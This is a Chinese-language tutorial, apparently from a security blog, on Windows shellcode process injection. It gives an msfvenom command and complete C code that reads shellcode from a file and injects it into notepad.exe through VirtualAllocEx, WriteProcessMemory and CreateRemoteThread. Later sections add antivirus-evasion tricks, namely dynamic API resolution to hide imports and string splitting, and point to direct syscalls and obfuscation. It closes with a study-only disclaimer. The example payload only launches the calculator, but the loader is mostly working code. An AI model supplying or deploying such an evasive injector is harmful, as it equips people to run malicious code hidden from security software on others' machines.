进程注入的探索
字数 918 2025-08-27 12:33:43
进程注入技术详解
1. 进程注入基础概念
进程注入是指将一个正在运行的程序的进程内存中开辟一块空间,将shellcode放入该内存,并创建一个线程来执行这段shellcode的技术。
基本流程
- 打开目标进程获取句柄
- 在目标进程中分配内存
- 将shellcode写入分配的内存
- 创建远程线程执行shellcode
2. Shellcode生成与使用
使用Metasploit Framework的msfvenom工具生成64位shellcode示例:
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
这段shellcode的功能是执行计算器程序(calc.exe)。
3. 核心API函数详解
3.1 OpenProcess
HANDLE OpenProcess(
DWORD dwDesiredAccess, // 访问权限(PROCESS_ALL_ACCESS表示所有权限)
BOOL bInheritHandle, // 是否继承句柄(通常为FALSE)
DWORD dwProcessId // 目标进程PID
);
3.2 VirtualAllocEx
LPVOID VirtualAllocEx(
HANDLE hProcess, // 目标进程句柄
LPVOID lpAddress, // 内存地址(NULL表示自动分配)
SIZE_T dwSize, // 分配内存大小(字节)
DWORD flAllocationType, // 分配类型(MEM_RESERVE | MEM_COMMIT)
DWORD flProtect // 内存保护(PAGE_EXECUTE_READWRITE可读可写可执行)
);
3.3 WriteProcessMemory
BOOL WriteProcessMemory(
HANDLE hProcess, // 目标进程句柄
LPVOID lpBaseAddress, // 写入内存地址(VirtualAllocEx返回值)
LPCVOID lpBuffer, // 要写入的数据指针(shellcode)
SIZE_T nSize, // 写入数据大小
SIZE_T* lpNumberOfBytesWritten // 实际写入字节数(通常为NULL)
);
3.4 CreateRemoteThread
HANDLE CreateRemoteThread(
HANDLE hProcess, // 目标进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性(通常为NULL)
SIZE_T dwStackSize, // 线程栈大小(0表示默认)
LPTHREAD_START_ROUTINE lpStartAddress, // 线程函数地址(VirtualAllocEx返回值)
LPVOID lpParameter, // 线程参数(通常为NULL)
DWORD dwCreationFlags, // 创建标志(0表示立即运行)
LPDWORD lpThreadId // 线程ID指针(通常为NULL)
);
4. 基础实现代码
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0..."; // shellcode
HANDLE Process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[1]));
if (Process == NULL) {
printf("OpenProcess error%d\n", GetLastError());
}
void* exec = VirtualAllocEx(Process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (exec == NULL) {
printf("VirtualAllocEx error%d\n", GetLastError());
}
BOOL Memory = WriteProcessMemory(Process, exec, buf, sizeof(buf), NULL);
if (Memory == 0) {
printf("WriteProcessMemory:%d\n", GetLastError());
}
HANDLE thred = CreateRemoteThread(Process, NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);
if (thred == NULL) {
printf("CreateRemoteThread:%d\n", GetLastError());
}
}
5. 高级技术实现
5.1 自动获取PID
使用CreateToolhelp32Snapshot拍摄进程快照并查找目标进程:
HANDLE Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
BOOL First = Process32First(Snapshot, &pe32);
DWORD pid;
while(First) {
if(wcscmp(pe32.szExeFile, L"notepad.exe") == 0) {
pid = pe32.th32ProcessID;
break;
}
First = Process32Next(Snapshot, &pe32);
}
5.2 分离加载Shellcode
从文件读取shellcode而不是硬编码:
HANDLE openinfile = CreateFileA("calc.bin", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
int size = GetFileSize(openinfile, NULL);
char* buf = (char*)malloc(size + 1);
DWORD lpNumberOfBytesRead = 0;
BOOL rfile = ReadFile(openinfile, buf, size, &lpNumberOfBytesRead, NULL);
5.3 IAT导入表处理
通过GetProcAddress动态获取函数地址,避免在IAT中留下痕迹:
typedef LPVOID(WINAPI* Virtual_AllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
char ker32[] = {'K','e','r','n','e','l','3','2','.','d','l','l',0};
HMODULE hKer32 = LoadLibraryA(ker32);
char VAllocEx[] = {'V','i','r','t','u','a','l','l','o','c','E','x',0};
Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, VAllocEx);
6. 完整高级实现代码
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <TCHAR.h>
typedef LPVOID(WINAPI* ImportVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL(WINAPI* ImportWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef HANDLE(WINAPI* ImportCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
void code(LPCSTR lnFileName) {
ImportVirtualAllocEx MyVirtualAllocEx = (ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx");
ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WriteProcessMemory");
ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateRemoteThread");
// 从文件读取shellcode
HANDLE openinfile = CreateFileA(lnFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
int size = GetFileSize(openinfile, NULL);
char* buf = (char*)malloc(size + 1);
DWORD lpNumberOfBytesRead = 0;
ReadFile(openinfile, buf, size, &lpNumberOfBytesRead, NULL);
// 自动查找目标进程PID
HANDLE Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
Process32First(Snapshot, &pe32);
DWORD pid;
while(1) {
if(wcscmp(pe32.szExeFile, L"notepad.exe") == 0) {
pid = pe32.th32ProcessID;
break;
}
Process32Next(Snapshot, &pe32);
}
HANDLE Process = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
LPVOID exec = MyVirtualAllocEx(Process, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
MyWriteProcessMemory(Process, exec, buf, size, NULL);
MyCreateRemoteThread(Process, NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);
}
int main(int argc, char* argv[]) {
if(argc != 2) {
printf("please input bin file");
} else {
code(argv[1]);
}
}
7. 防御检测与规避技术
- IAT表处理:通过动态获取函数地址(GetProcAddress)避免在导入表中留下高危函数名
- 字符串混淆:将敏感字符串如"kernel32.dll"拆分为字符数组形式
- 静态特征规避:
- 文件大小控制在300KB以内
- 避免高危函数直接出现在导入表
- VirtualAlloc的最后一个参数避免使用0x40(PAGE_EXECUTE_READWRITE)
8. 进阶技术方向
- Syscall直接调用:绕过用户态hook直接调用系统调用
- 回调函数执行:利用系统回调机制执行shellcode
- 内存申请优化:使用更隐蔽的内存分配方式
- 高强度加密混淆:对抗静态分析和动态检测
9. 注意事项
- 进程注入需要管理员权限
- 现代安全软件会监控这些高危API调用
- 实际应用中需要考虑shellcode的稳定性和隐蔽性
- 本文仅供学习研究使用,请勿用于非法用途